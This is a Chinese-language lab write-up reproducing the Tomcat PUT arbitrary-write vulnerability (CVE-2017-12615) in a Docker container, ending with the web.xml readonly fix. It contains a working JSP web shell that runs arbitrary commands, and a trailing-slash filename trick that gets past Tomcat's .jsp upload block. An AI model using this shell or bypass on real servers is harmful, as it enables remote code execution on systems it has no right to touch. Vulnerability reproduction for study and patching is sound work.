Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)复现
1 实验环境
软件名称 | 版本 | 部署方式 | IP |
---|---|---|---|
cve-2017-12615 | latest | docker run -d -p 8083:8080 –name tomcat-cve docker.io/cved/cve-2017-12615 | 172.31.5.7 |
2 漏洞复现
开启burp抓包,访问 172.31.5.7:8083
使用repeater 模块修改数据包,数据包内容如下:
<%
if("user".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("p")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre");
}
%>
发送修改后的数据包,返回状态码为204,表示成功写入一个shell.jsp文件至服务器
注意:tomcat本身不允许上传*.jsp文件,因此请求头行修改为/shell.jsp/
该请求到服务器后,文件名不允许有/,/被丢弃。因此最终生成文件名为shell.jsp
使用浏览器访问该程序,成功执行命令pwd(任意命令均可)
http://172.31.5.7:8083/shell.jsp?pwd=user&p=pwd
3 漏洞原理
该漏洞主要是因为tomcat的web.xml配置文件中的readonly参数值为false,使得我们可以通过PUT方法写入文件
docker exec -it tomcat-cve bash -c "grep -A 2 readon conf/web.xml"
所以修复该漏洞的方式也简单,将readonly的值设置为true即可
漏洞影响版本:Tomcat 7.0.0-7.0.79、8.5.19